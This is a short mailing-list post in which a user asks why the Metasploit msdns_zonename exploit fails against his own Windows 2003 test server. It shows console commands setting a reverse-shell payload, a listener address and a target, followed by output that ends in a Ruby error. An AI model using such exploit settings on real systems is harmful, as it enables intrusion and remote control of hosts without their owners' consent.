Problem exploiting the MS DNS RPC Service (msdns_zonename)

[securitux at gmail.com (Jason Thompson)]

Hi all. I am trying to get the MS DNS exploit to work, everytime I try
it against my vulnerable Windows 2003 server I get this:



> > set PAYLOAD windows/shell_reverse_tcp

PAYLOAD => windows/shell_reverse_tcp

> > set LHOST 192.168.0.211

LHOST => 192.168.0.211

> > set LPORT 4444

LPORT => 4444

> > set RHOST 192.168.0.207

RHOST => 192.168.0.207

> > exploit

[*] Started reverse handler
[*] Connecting to the endpoint mapper service...
[*] Discovered Microsoft DNS Server RPC service on port 1028
[-] Exploit failed: undefined method `name' for nil:NilClass

msf exploit(msdns_zonename) >



Any ideas? THanks!

-J